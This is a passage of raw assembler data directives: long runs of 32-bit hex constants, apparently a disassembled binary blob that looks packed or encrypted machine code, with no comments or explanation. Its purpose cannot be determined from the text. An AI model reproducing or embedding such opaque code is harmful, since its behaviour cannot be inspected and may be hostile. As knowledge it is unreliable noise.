		dd 2B453877h, 43CEB7EAh, 207E8FA7h, 0CAEB5483h,	0EC6DCEB4h
		dd 2020D289h, 221B98C6h, 0F1286BB5h, 91F42B6Bh,	31777D3h
		dd 9A000000h, 3466BB86h, 0A8F686FFh, 197A120Bh,	8DC39D80h
		dd 3552B12h, 79DBB5A8h,	0F0213F26h, 61B4C8BDh, 0D00759CCh
		dd 83B3E459h, 48904ECh,	0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 242C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 6856241Ch, 1861697Bh, 0E681465Eh,	50FF0D3Ah
		dd 30ACF681h, 0F5896839h, 0E6C5815Eh, 8117F61Ch, 775FE7CDh
		dd 0ED814575h, 39AD3329h, 17A7C581h, 0C581665Ch, 0E3ECA877h
		dd 5E1968h, 24248900h, 4240483h, 8BA525Bh, 1000000h, 8B2A89DAh
		dd 0C4812414h, 4, 56241C8Bh, 0C681E689h, 4, 4C681h, 34870000h
		dd 2C8B5C24h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 0FA4BF8E9h, 3203F9FFh, 0B8E96AE0h, 61AF6DFh,	0E0FFC503h
		dd 70C312D5h, 30EB5EC6h, 350A2AE1h, 6705536Fh, 2D554660h
		dd 51ABA7FEh, 4F058BF8h, 799AE1C0h, 122DFD84h, 231F7237h
		dd 77801D63h, 1D11B735h, 4BAA2F97h, 431A9907h, 30537F91h
		dd 1C4EB3FFh, 63817DABh, 0C9FE3B9h, 334D9E5Ah, 50DFD9DEh
		dd 5AA71506h, 3FA925AEh, 7A78C645h, 0F8FB8D8Dh,	6A061Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 66CA3AC3h, 7E98D89h,	8E0F0614h, 6, 13599523h, 8D890614h
		dd 6142B69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0C4C35545h, 512B1DBEh, 85C78CB2h, 6141055h, 6080h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h
		dd 895F5304h, 14087585h, 3D85C706h, 61401h, 0F000000h
		dd 683h, 41B58B00h, 0FF06140Eh,	14129DB5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 5FE58F18h, 3FC6FB5Dh, 6E840h, 0F0C30000h, 8988D96Ah
		dd 71BD8960h, 66061408h, 1147E181h, 66575861h, 0FF5BF28Bh
		dd 140BD995h, 0C7BF0F06h, 95FF006Ah, 6142971h, 2CEBC08Bh
		dd 0F819C7F2h, 5CEA5CD5h, 4AC343F1h, 86763347h,	93A34624h
		dd 619E5414h, 377A5C85h, 9B619C89h, 0FFBBAB91h,	69E1F855h
		dd 97ECA8E1h, 0EE8h, 0E1738100h, 6A4D5212h, 4E74FF94h
		dd 8B9A7C20h, 5E958D3h,	0B2000000h, 81E6505Dh, 6062C081h
		dd 8D8B0000h, 6142059h,	0C88BFF33h, 8B381C8Bh, 140BB98Dh
		dd 9BF38106h, 0E86F24F7h, 13h, 0C9DE27C3h, 0CA433FDh, 0DFF6ACEAh
		dd 0B1F19AF2h, 89139675h, 140F019Dh, 0EB815A06h, 1B9F2B01h
		dd 0EF59589h, 0C3810614h, 316E1F83h, 0C2E18166h, 8D8B53C1h
		dd 6142021h, 0F38048Fh,	281h, 9C4B100h,	1402B5BDh, 0ECEF8106h
		dd 0E8214E11h, 9, 0CD94700Fh, 7DDA899Dh, 0F5B52BB4h, 5906140Ch
		dd 11E8C781h, 81F5214Eh, 0FFA088FFh, 1A850FFFh,	60000000h
		dd 421B589h, 8D290614h,	6142E19h, 25E961h, 5C670000h, 0FE906DDCh
		dd 0D58D8BA8h, 0E9061430h, 0FFFFFF50h, 20980B8Ah, 0CE2A4426h
		dd 7D5D012Dh, 0BCDFE0ADh, 8DD45533h, 1AFA6E8Dh,	698D8906h
		dd 8B06142Bh, 140B059Dh, 5585C706h, 8C061410h, 1000060h
		dd 14123DBDh, 85C7F806h, 614013Dh, 0
		dd 0B88CBB66h, 2501B5FFh, 81660614h, 0FFEC2FF7h, 140BD995h
		dd 319D8B06h, 6A06142Fh, 7195FF00h, 8B061429h, 0CD7DEBC0h
		dd 0F2C82B6Eh, 661F105Dh, 0F181D7F0h, 3B4C0ACEh, 111CB279h
		dd 0D5F41BF4h, 96CEC5B0h, 6255C966h, 9E657Fh, 3B4A3F70h
		dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 70B35397h, 74B201C8h
		dd 0AB09FE53h, 0A71414D3h, 175D23C6h, 0A115614Eh, 8876EDBBh
		dd 0FE855B3Ch, 3CB9F54Bh, 221F6C1Ah, 0B7F1080Ah, 0C16F4817h
		dd 0C8219241h, 42EC0518h, 0BC1AEC7Dh, 0DAA80F3Ch, 0C42D2356h
		dd 653726E5h, 0FBAE8D8Dh, 6A061Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 91D126C3h, 2E75D901h
		dd 31BD898Bh, 8906142Ah, 142B698Dh, 0C76EB206h,	14105585h
		dd 594006h, 0D1CE8100h,	0C747F65Ah, 14013D85h, 6, 0D1BF0F00h
		dd 80DB5FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 427842C3h, 0AE891h, 90000h, 31D7E0F5h
		dd 0CBF29632h, 0E85BF08Bh, 10h,	9540912Eh, 0D5553A4Bh
		dd 41F1CA37h, 9F280C22h, 7832BA66h, 0D995FF5Ah,	8906140Bh
		dd 142AAD9Dh, 85852B06h, 6A06141Eh, 7195FF00h, 8B061429h
		dd 0D378EBC0h, 61978FDAh, 0BAE0623Ch, 0E3BD284Ah, 38A83DE9h
		dd 355F8D31h, 0E6AB166Bh, 3A6BB97Ah, 197E4175h,	5004EDB1h
		dd 5AB5EA67h, 0D28146A2h, 4BE24048h, 34FE8419h,	236542C4h
		dd 0BB76DE8Ah, 0C8927E18h, 637D83D3h, 0A93B9CFBh, 0C0C0D46Ch
		dd 0CC3D65FCh, 1A995766h, 9A483CA7h, 0CB1B6DFh,	0B2652B61h
		dd 0B8FC4550h, 9D307FC7h, 5924EF4Eh, 6DCDFC0h, 9A99E8Ch
		dd 0E8A0B61Ch, 0Eh, 0CD6C1074h,	5FDB0F05h, 0BB9ADCB3h
		dd 8D2998ECh, 6142385h,	25B50959h, 81061402h, 6A7BC1h
		dd 8D896000h, 61401E9h,	645B531h, 68610614h, 1A69h, 0D060BF66h
		dd 2DB5895Ah, 8B06141Eh, 6800F19h, 1000000h, 14191585h
		dd 36EB8106h, 8B2F601Eh, 48F381C1h, 0F2F2453h, 28Fh, 81C68B00h
		dd 1C5544EBh, 0C880F7Eh, 0F000000h, 68Eh, 71858900h, 5306141Bh
		dd 0E7E173BFh, 83018F5Dh, 0BF0F04E9h, 1EA83C7h,	1F850Fh
		dd 0B58B0000h, 6142B71h, 3EE9h,	0E84B5300h, 1B112D9Eh
		dd 643F0A33h, 42A54081h, 7F4104BCh, 10E9CAh, 0C7C50000h
		dd 0FD09D8E2h, 514F53F3h, 0B986B5EEh, 74E9686Fh, 44FFFFFFh
		dd 0C475CF19h, 59B099EDh, 7F148C04h, 0E9949A27h, 1Ch, 1A1E9829h
		dd 6 dup(0)
		dd 534E9h, 7B365600h, 661728B7h, 8F0A05A2h, 0B7EE1C8Bh
		dd 0D8D5F473h, 55FDD754h, 28B77B36h, 19E621Bh, 19868A05h
		dd 570B4E7h, 6FCA79A6h,	0A4955EAh, 36656786h, 574A7906h
		dd 6C3254D3h, 0F09270C3h, 998FF353h, 0E63F189Ah, 0E1193D5Ah
		dd 0F9266C9Eh, 53F0F74Ah, 9FAAB7C9h, 45F2E60Bh,	930E3D21h
		dd 0F0392712h, 5AD8BC53h, 0AEF4156Ah, 0F0393201h, 0A9CDB153h
		dd 0F31AF591h, 37FBB2D4h, 0FD4CE944h, 3153F039h, 0F03945F4h
		dd 67ADE53h, 2F5BF002h,	1B37B074h, 1A32699Bh, 1D629ABEh
		dd 285B5F0h, 818DBCD3h,	63650206h, 0AD911028h, 8D53F039h
		dd 6BF4047Fh, 4817275Eh, 0CF4B433Ah, 0EF335AF9h, 2929402Fh
		dd 85953803h, 4F93h, 65671900h,	0D6950636h, 4BCFFFBAh
		dd 9273CCC9h, 0AF4053F0h, 8CE40A48h, 1F28594h, 3E000000h
		dd 0BBCC6667h, 2A4ECAC2h, 0F6EE4311h, 0EF40285Fh, 0C5C69925h
		dd 0A1AFB0C8h, 7E8AD1EAh, 0B0D4C9F8h, 0B6F63C98h, 0BFCE2592h
		dd 8C1B1F8Eh, 35FF037Ah, 6356867h, 0C3DE604Eh, 1136944h
		dd 0F4A9DAA5h, 1590BBC4h, 326F9AE5h, 7A917E1Ah,	0F26DDEB0h
		dd 0F09586B5h, 0FB391D53h, 0BFCEFD14h, 9FA13EC2h, 196FDCECh
		dd 0ED97EB22h, 21FE34D5h, 9506B26h, 357183FEh, 69611C2Ah
		dd 0B08EBDFAh, 10553F0h, 91A9E4E6h, 2FF31AF5h, 0BEBCD332h
		dd 8594AC80h, 897Eh, 6867BA00h,	4F7A0535h, 0EAE29DA9h
		dd 16324A6Eh, 143352B9h, 6EE69599h, 46CD5CE6h, 8D2A21ABh
		dd 53F0CFBEh, 0CC35135h, 574E7BFDh, 8FBFA327h, 0A3DBD2F0h
		dd 0C6F6AFDCh, 0E41487B9h, 0A46E8532h, 0C9FB82B9h, 41651829h
		dd 0B847CD49h, 0E7EB0151h, 5EEB8594h, 0C1000000h, 5356867h
		dd 0D7BBD796h, 0F092FB56h, 0F0147853h, 5CAA7CD8h, 2E23FFD7h
		dd 5F6B20F2h, 0CFFFAEDFh, 5514274Bh, 0CA4E7E39h, 8FC87C48h
		dd 772A5968h, 666761B3h, 0A3C7BECCh, 222138ABh,	1628A56Fh
		dd 2B53F092h, 6BF22D44h, 84CC2259h, 600D97C4h, 0EC32DE54h
		dd 8A8594D5h, 1, 0D7F48B26h, 0F03DAEDEh, 53F09241h, 0D85A7EC2h
		dd 7D8D0803h, 9EADE0E2h, 92B78223h, 48CC53F0h, 0BE9DFACAh
		dd 921D2857h, 202BF38Bh, 0A65DB365h, 73CE6F9Ch,	0F053F01Dh
		dd 0DCA4688Ch, 124C8D0Dh, 0F470B56Dh, 3C7ABBD0h, 3549DCF8h
		dd 24263951h, 9ED6A569h, 35B6A81Fh, 0CB8092BEh,	6BCAC2B9h
		dd 55E445D6h, 2857BED9h, 4A36716h, 0EC738B02h, 0D8A8A3DAh
		dd 9ED0A161h, 0F1CD471Eh, 1525606Eh, 4A423F4Ah,	0CF33EC3Ch
		dd 3C92C9C3h, 0DCB2789Fh, 172958BFh, 0E634A064h, 0F08BA91Ch
		dd 143h, 0CFCAC685h, 0E8A5A0BFh, 0D75074D0h, 53B7C7B6h
		dd 61805FC1h, 0F675E01Bh, 5D58DAD7h, 49DC90DDh,	8AB9E651h
		dd 955E490h, 97FB0F05h,	0B7E61867h, 0DBD2F473h,	0F3AADCA3h
		dd 0A8581D8h, 209C96F2h, 0FF3259F6h, 0B3BD2669h, 0D70523A0h
		dd 465BF4EBh, 653AF81Ch, 0A0132863h, 0E42E3407h, 53DC4F55h
		dd 55E42EE0h, 39FB1F63h, 83720279h, 0A508AAB5h,	71BF43D1h
		dd 0CD8BA918h, 1D1792BEh, 3A62h, 65804E00h, 6F9DEC1Fh
		dd 6E800434h, 879E6937h, 5556DC9Bh, 0F06319C8h,	4676DAD3h
		dd 3F7A96D5h, 6349F8F5h, 0F966D3F0h, 0B719492h,	63E4B7F0h
		dd 1B7F53F0h, 89C517h, 80530000h, 47E01B61h, 49DC6A83h
		dd 67F81074h, 75F23665h, 15A5A353h, 0B8FBFFAh, 7C88D7E7h
		dd 698D0901h, 48F43545h, 4155E49Bh, 9EA0DF36h, 9984DCEFh
		dd 0DB9A30B3h, 0E99959DBh, 987E9E18h, 7F4DBC55h, 68B5205Bh
		dd 55E404D9h, 1C29F65Ah, 27ED6961h, 9341B84h, 0DBBF4FCFh
		dd 0F3AADCA3h, 769D7CDBh, 102B51B0h, 0F40CB897h, 9C197445h
		dd 41BA02ADh, 90D02226h, 2CF7ABBh, 0D74441BAh, 0BA02FB56h
		dd 0F0147841h, 808A48CCh, 75E01B61h, 0ADDDD8F6h, 43EAEB29h
		dd 0E849DB9Fh, 0F90B5464h, 0DFE17E82h, 531D9CACh, 33B9F404h
		dd 136C9C17h, 0CB8FBFF6h, 0D93D056Ch, 0D6E8177Eh, 0C2C463A7h
		dd 74981530h, 960D3B44h, 0B5E81966h, 0D3CEFA85h, 29408FBBh
		dd 0F81FFEE1h, 40C4B7C9h, 0C5F6A5A7h, 0FC0C8986h, 0F7E8F98h
		dd 2D999BFFh, 31Fh, 0A68C9500h,	4346767h, 3A52497Bh, 5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 0E789571Fh, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 68240C89h, 14A0h, 68240C89h,	2EEBh, 57241C89h, 0E410B7BFh
		dd 0C7814F62h, 1, 7EFC14Fh, 3510F781h, 0F98906DFh, 4EC835Fh
		dd 83242489h, 5B042404h, 9BB85051h, 293F7935h, 58042444h
		dd 8108438Fh, 359B0843h, 1C8B3F79h, 0E2895224h,	4C281h
		dd 0C2830000h, 24148704h, 240C8B5Ch, 81E28952h,	4C2h, 4C28100h
		dd 87000000h, 0E95C2414h, 0FFF97E7Ch, 1D5B8AEh,	0C503061Bh
		dd 53D1E0FFh, 48442F46h, 0DA5F1A62h, 94624E9Eh,	6E715271h
		dd 53BF22EEh, 0C5D34441h, 0FA281181h, 1DAC63A7h, 11AC5B1Eh
		dd 6DD008B8h, 7AE4B99h,	2CAF3AABh, 0C92F6B0Fh, 4F2904D5h
		dd 4B5F0B53h, 47B1660Ch, 0D77B2032h, 0FE34292Fh, 56036549h
		dd 5D3F0749h, 71E772E3h, 0DE85210h, 90000000h, 773B92E3h
		dd 9BD8B4C9h, 0A647475Eh, 6736B866h, 81F78A59h,	6513C1h
		dd 0D68B6600h, 191868h,	5FA0B600h, 666031FFh, 53D420BAh
		dd 615AC88Bh, 4860F5Eh,	66000000h, 813B99BAh, 5E2183EEh
		dd 0CE95231h, 23000000h, 2AA7B85Ch, 0D9B8CE4Fh,	5B3A6DEEh
		dd 0FEDC681h, 816673EFh, 814C41D0h, 9B8E6EC6h, 5617B72Ah
		dd 8E8h, 5C475D00h, 0D82DAF3Ch,	0BE87Ah, 0CDC20000h, 234F350Bh
		dd 0FCF83AB4h, 5AD18B7Dh, 0E9018F5Bh, 7, 0D4AF0DB8h, 810D4845h
		dd 0E6AB9FE9h, 0C28B6678h, 0AB9BC181h, 81F578E6h, 1EFh
		dd 71850F00h, 80FFFFFFh, 8D8DCBF7h, 61B0463h, 8D895B51h
		dd 6142B69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0EEC35545h, 0DF88DF4Ch,	365BD23h, 820F0614h, 8
		dd 2810Fh, 5A570000h, 105585C7h, 58380614h, 0D88A0000h
		dd 13D85C7h, 614h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 8C51DDC3h, 0F6A5653h
		dd 0B5FF7A76h, 61411C9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0A3C35242h, 699D8958h, 8B061403h, 141CE595h
		dd 0D995FF06h, 6006140Bh, 0CE8h, 7BD81400h, 24AC600Dh
		dd 0EAA60044h, 0CE90Eh,	30A40000h, 92D50E48h, 8ADEF66Dh
		dd 665A980Bh, 61CD31BAh, 95FF006Ah, 6142971h, 1FEBC08Bh
		dd 0CACEB128h, 0D6E64FB2h, 8DC10376h, 0C20AFC6Fh, 352129C9h
		dd 2D4A619Dh, 7C1CAF05h, 8D6F6FF6h, 1B05568Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 65850168h, 89061418h, 142B698Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 18D32FF9h
		dd 95BE8C26h, 17FD9589h, 0D98A0614h, 105585C7h,	64E80614h
		dd 95890000h, 6140459h,	13D85C7h, 614h,	6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 70706BC3h, 4FE7344Fh, 1DBD03C5h, 0BF061430h,	3AB7C1F5h
		dd 0D09B5FFh
		dd 0B20614h, 0BD995FFh,	7E80614h, 0C4000000h, 0D9B2E4A0h
		dd 85298D40h, 6141E9Dh,	0BD958958h, 6A061409h, 7195FF00h
		dd 8B061429h, 0F74CEBC0h, 0EFC43F2Ah, 9ABCF87Ah, 2DED109Bh
		dd 0BCD5D89Eh, 6F3EC741h, 372300E7h, 613878B8h,	0BD25B7DFh
		dd 55FE07DEh, 9B6A7AF1h, 0A1835700h, 0CD410219h, 0D2F13D88h
		dd 1E8B4198h, 0D34CA258h, 1394AE27h, 794B2E1h, 0A4F5DC84h
		dd 8D159A5Eh, 1B062F8Dh, 698D8906h, 2906142Bh, 140CBD9Dh
		dd 5585C706h, 0EC061410h, 6A000057h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 51F0C351h
		dd 0FD232689h, 3D85C715h, 61401h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0DA73C353h, 4F3FDBAFh, 0FFC99D8Dh, 140D09B5h, 0C78B6606h
		dd 0BD995FFh, 0B5010614h, 6140BADh, 95FF006Ah, 6142971h
		dd 4CEBC08Bh, 86F68523h, 44B2B1A4h, 101F6A86h, 2CACA8A1h
		dd 0C53B7881h, 0D309B6E7h, 99DEB772h, 0BA1B9203h, 0C33C5073h
		dd 6F1498Dh, 66E8038Fh,	1A65837Bh, 41DC909Bh, 0D2EAB2E7h
		dd 0C8E9D4E3h, 75457B50h, 0F3B4BAC2h, 69BB2D78h, 179BEFCBh
		dd 0EE8h, 5669A00h, 21E4A52Ah, 0C635906Ah, 81E92941h, 0C83334CAh
		dd 8AB65B65h, 6E8CC381h, 8B560000h, 140A4DBDh, 0BE5A06h
		dd 89000000h, 140C518Dh, 1E34FF06h, 0D7BBBF66h,	0E981F859h
		dd 68B58D9h, 425850Bh, 0C1810614h, 4DCBAA8Eh, 0F05850Bh
		dd 0E9810614h, 1B8E694Ah, 0C89F88Bh, 0EDBD8933h, 2906140Dh
		dd 1407FD85h, 91EE8106h, 66123D18h, 0C681D08Bh,	123D188Dh
		dd 0FE81E38Ah, 0FFFF9224h, 13850Fh, 81660000h, 0E9B4F4F2h
		dd 25h,	5BC791Dh, 0E1113358h, 0DD958940h, 0E906140Bh, 0FFFFFF8Dh
		dd 3CEF563Eh, 861D3B70h, 0FDC04751h, 4D46A6A4h,	0E78D8D16h
		dd 52061B07h, 68F0Fh, 858B0000h, 6140369h, 698D895Fh, 6A06142Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0AE34C351h, 85C7FC0Bh, 6141055h, 5D94h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 13C35646h, 7D9D89A4h
		dd 0C706141Fh, 14013D85h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 6060606h, 9B5FF06h
		dd 6606140Dh, 0CE69C281h, 0BD995FFh, 95030614h,	6141371h
		dd 95FF006Ah, 6142971h,	4CEBC08Bh, 0A818F5C8h, 13CEB84Dh
		dd 91E3A543h, 531623h, 57CC1CDFh, 7FAA9EAFh, 3079D9FDh
		dd 3F0B3F37h, 698791BFh, 2E5BCFDFh, 4B954091h, 37D5553Ah
		dd 2241F1CAh, 1F9F280Ch, 3CBD633Fh, 0D4DB763Eh,	0A6E9FA21h
		dd 0F781E5F1h, 25256F0Ch, 10E8h, 2B10C900h, 8358353Ah
		dd 38883B0h, 27B2D233h,	11E9D7h, 0C8DF0000h, 0AC387D76h
		dd 309A0B1Ch, 7FB0CFAEh, 5A189AA3h, 81C68B66h, 5E82C2h
		dd 39BD8B00h, 3306142Ah, 9D8D09F6h, 0FF06140Bh,	0FA8B1634h
		dd 59F18159h, 807E5CA6h, 0C1815DE0h, 5A59A206h,	5E9h, 111FF100h
		dd 0C1815FB5h, 16ABAC27h, 0C89A8B4h, 159D8B32h,	8B06141Ch
		dd 14187185h, 4EE8306h,	0CE8h, 4EE4EC00h, 3BF6B0D0h, 5668EC6Bh
		dd 0D9D89E1h, 5806141Eh, 0A254FE81h, 850FFFFFh,	12h, 0E399D8Bh
		dd 34E90614h, 0B2000000h, 45BD8207h, 12E91D87h,	3F000000h
		dd 4F2CF271h, 2470FFB0h, 83D46D38h, 7429224Ch, 0FF75E9C0h
		dd 11A8FFFFh, 0C02A3E08h, 0A0F966C6h, 0FA384B03h, 0E86E26CAh
		dd 0Fh,	8F6C6AB5h, 9601C489h, 5EB8BDC7h, 609E64C6h, 0C25B589h
		dd 6E90614h, 88000000h,	1E6BFD31h, 805961B8h, 0C181F5F2h
		dd 7047h, 19DD858Bh, 59BF0614h,	81639E10h, 9E0B82F7h, 0FFDFB263h
		dd 0C0BF0F31h, 0DE95Eh,	0E0970000h, 130D5459h, 0DDC13388h
		dd 810C868Eh, 0FD0FEBC6h, 56CF8048h, 0F2E8F681h, 81FC4F78h
		dd 38CF3EC6h, 0AE95Dh, 3E120000h, 1950B68Ch, 2F0AC383h
		dd 6870F56h, 29000000h,	141E3DBDh, 0E9018F06h, 0Bh, 0EDAC77C8h
		dd 104FC51h, 83A7AFD6h,	2BBB04E9h, 4F5A608Fh, 1C850Fh
		dd 8B600000h, 0F59589DAh, 61061404h, 26E9h, 88826800h
		dd 6E2EEE88h, 928774C6h, 858B67F7h, 61406E5h, 0FFFF6EE9h
		dd 0E5E19CFFh, 6C06AF1h, 0DE181BA8h, 0E8CBAEF4h, 0Ah, 4104BC42h
		dd 0FF09CA7Fh, 0F55FF093h, 70EAC781h, 85890000h, 6141AB5h
		dd 34FFC92Bh, 0B99D8939h, 5A06140Ah, 2D51858Bh,	0F2810614h
		dd 3AEE9F2Ah, 0F281AEB3h, 434289FEh, 0EE9h, 7578EB00h
		dd 8B4D4D87h, 0F7F6C7Ah, 81059B35h, 3AF182C2h, 0EE801h
		dd 0DE610000h, 33AB2903h, 0B798489Ah, 0E4ADB964h, 0A798509h
		dd 895E0614h, 0F600F14h, 6E9C2B7h, 2D000000h, 7EF273Ah
		dd 19B86179h, 83088AE0h, 0BF0F04E9h, 0DCF981F2h, 0FFFFF8Fh
		dd 1985h, 0B70F5000h, 2BE95EDEh, 22000000h, 65F12677h
		dd 0CFEA01D0h, 8B3483BCh, 860F2963h, 6,	0B42AC881h, 5BE91747h
		dd 67FFFFFFh, 2F85F280h, 504066AFh, 0CE80723h, 93000000h
		dd 23BE7238h, 5DAA8455h, 0FE81B58h, 286h, 58F88B00h, 22E9B52Bh
		dd 0C0810614h, 74E3h, 2A11B58Bh, 0D22B0614h, 8BF3B70Fh
		dd 0BF0F100Ch, 6FF181F3h, 0B3320623h, 90F1812Bh, 0E94E05B6h
		dd 0Bh,	0E2CBC6FFh, 289DD2F4h, 813F6F46h, 35A940F1h, 0EE92Dh
		dd 205B0000h, 9E09CB03h, 612C8C9Ch, 5A6CE7CBh, 0EB816651h
		dd 48FFFBAh, 0DBB70F10h, 0DD60BE51h, 815B2838h,	35517EAh
		dd 14E962h, 0EA9E0000h,	189DC2D6h, 6CE064C0h, 45A9FBDh
		dd 7D399757h, 0C2818B11h, 62035513h, 3F19D8Bh, 0FA810614h
		dd 0FFFF8BD8h, 0FF79850Fh, 8D0FFFFFh, 6, 7BA1DE81h, 75827077h
		dd 690889A0h, 0A6DC7814h, 3154578Dh, 0A12E8636h, 25908635h
		dd 254813D9h, 0AC990530h, 25149221h, 2581023Fh,	98078630h
		dd 23568159h, 5EA58930h, 0E3908630h, 3140CFB5h,	0AB4CC836h
		dd 0A4AD2282h, 40C7A204h, 907B91D6h, 235697B9h,	5DDF03BDh
		dd 0F56F8027h, 0A08E76BBh, 23308E79h, 25166E7Eh, 0F2498630h
		dd 0AED42E72h, 0AE46A274h, 1650F30h, 906FDE34h,	235C8159h
		dd 5DDA03BDh, 0F5ED8027h, 35B07EBBh, 0CC848630h, 25428638h
		dd 2BA48996h, 6C908630h, 0A0474F3Bh, 0DADB79C0h, 25128BD9h
		dd 0DA940B30h, 9D82927Dh, 25428635h, 98AC65CFh,	238B8DBEh
		dd 291C0BBDh, 379C802Bh, 0E94B615h, 758247FFh, 690889A0h
		dd 0A6DC7814h, 3154578Dh, 0A12E8636h, 25908635h, 254813D9h
		dd 0AC990530h, 0F305E983h, 22B9A4h, 1EE90000h, 3D000000h
		dd 577AFBh, 6 dup(0)
		dd 8C9E900h, 0C5C50000h, 0A8D946CAh, 9BB631F5h,	7F8D1A1Eh
		dd 68670004h, 466AF135h, 58DCD1F0h, 47CBC2CFh, 2DF1ACD8h
		dd 191D90B2h, 91A00D7Ch, 1255EB9Eh, 85B93FE1h, 0A553F092h
		dd 5C24E8A3h, 63CCFF8Dh, 49DC492Bh, 8B15F583h, 629A113Fh
		dd 0E40D30E6h, 0B7A4DC56h, 0E440DB76h, 2BF45855h, 4E7E6219h
		dd 66641231h, 98070B2Fh, 0C7BECC66h, 1F2F53B7h,	3C4F3E40h
		dd 74911E2Dh, 40D75D13h, 0DE3A5276h, 11BE6854h,	0C2B9CBFAh
		dd 374C923Eh, 0B36A8BA9h, 0FF000000h, 0D10238Ch, 549355E4h
		dd 0DA587C39h, 22686750h, 46762D5Bh, 9248FBC2h,	47CB53F0h
		dd 0A8B82B23h, 0F714A236h, 5BF768BEh, 1E2DE230h, 1EBD6B63h
		dd 232524F7h, 12033E7Fh, 0BC8053F0h, 0C6C59A98h, 45EB47CBh
		dd 51859508h, 66h, 3568675Fh, 0B5D79605h, 0FD414CC6h, 0DD53F092h
		dd 0BBC4F4AFh, 76E51590h, 0F0921A29h, 51B59953h, 0A8798FE6h
		dd 0D01C89B5h, 56F52347h, 709DEC3Fh, 6F810535h,	51F92CECh
		dd 2DE230F2h, 22EB911Eh, 0D0577AF8h, 45DBFFAEh,	503A8D11h
		dd 56658910h, 0C084E51Eh, 5E4315E0h, 372BFDEBh,	743CF6A3h
		dd 29A6h, 6867CC00h, 9BA40535h,	0AC53F092h, 0E9A4A0BFh
		dd 1E2D442Bh, 0C978A5EFh, 4A53F092h, 702B59C6h,	0A3D8FC58h
		dd 3DF7AEDCh, 6180BF75h, 0F675E01Bh, 5855DFDAh,	49DC7FC6h
		dd 98133148h, 0D2EA6E9Ah, 0FAF01361h, 8391D8D5h, 0F2AFDA71h
		dd 1B96B12Eh, 0D7E970E3h, 5579345Fh, 7206E7DFh,	0DCDEDC59h
		dd 33174FC8h, 365DBC1Bh, 7D81FC17h, 92AAE7E2h, 0D85F3013h
		dd 19701F5Fh, 0B6B5DFEAh, 68EC1C99h, 0D85FD261h, 0C9ED515Fh
		dd 16373645h, 8BABAD67h, 0ACDCD9F4h, 3CD2EA28h,	1B888E44h
		dd 0C64C4944h, 3665675Ch, 700F7CBCh, 50E34C52h,	0D353F092h
		dd 0D7334B6Fh, 9654DB5Dh, 889480h, 2Bh,	1A6E80ACh, 1F2A8B58h
		dd 9453F092h, 0C5C49BB0h, 8BC04AC8h, 92AC9F18h,	232753F0h
		dd 67C2D6D1h, 4AA3316Ch, 162A60h, 80400000h, 8B581A6Eh
		dd 0F0921F2Ah, 0F87ADE53h, 6C67A18Bh, 604AA331h, 6366567h
		dd 0F2D5DF95h, 0F63B217Eh, 57671A29h, 7BB421F3h, 2753EC10h
		dd 758702Bh, 1D7A9209h,	0EF53D73Eh, 1F8084DCh, 63D261CEh
		dd 0ED5153F4h, 0BD49183Bh, 9E25BC9h, 68AACE5Dh,	0AAB16C83h
		dd 6CE8E09Dh, 0A4D7E9A6h, 0D5C8C760h, 1A3736A5h, 25EF6B63h
		dd 0A0A15776h, 7B1C9EDh, 6362A1C8h, 0A04EEA2Eh,	3E8598C0h
		dd 26h,	366567FAh, 394F9E06h, 7AD1A502h, 0B22D49DCh, 0E48AC675h
		dd 2EF95D55h, 55AD6722h, 0D2BDD9F1h, 37A8CBBh, 0FD8B35FFh
		dd 9512EC42h, 53F050A6h, 94C7593Dh, 0AC153CDh, 0D7585F8h
		dd 327388FCh, 49DC46ACh, 42DD2125h, 0FC3D4D40h,	0D1163B6Ch
		dd 3646434Eh, 55651829h, 8F5A303h, 0F4B1B3h, 0B69AA0F7h
		dd 7193B2D9h, 5769F63Ah, 34A71424h, 76DA58EBh, 585570D9h
		dd 6CD0A420h, 89FF0EA6h, 2C693572h, 9EE2C35Ah, 6E80589Ah
		dd 0A288581Ah, 0D8D5F48Bh, 1F83855Ah, 0F092A39Eh, 0EA4B2053h
		dd 53F0925Fh, 284C70D4h, 8BB67CAAh, 0AEDED7F4h,	0FC1A55D8h
		dd 0C9EDF43Ch, 0AB89A74Bh, 5AB58894h, 0F0B96EDDh, 9361E5AEh
		dd 2BD0h, 6E80DC00h, 188B581Ah,	0C64C3F41h, 0F09264D7h
		dd 0A3A1B853h, 99143FE8h, 0DB2FE561h, 0A18BFD77h, 0A3316C67h
		dd 502A604Ah, 40000000h, 581A6E80h, 0DAD3F48Bh,	0D3EC26A2h
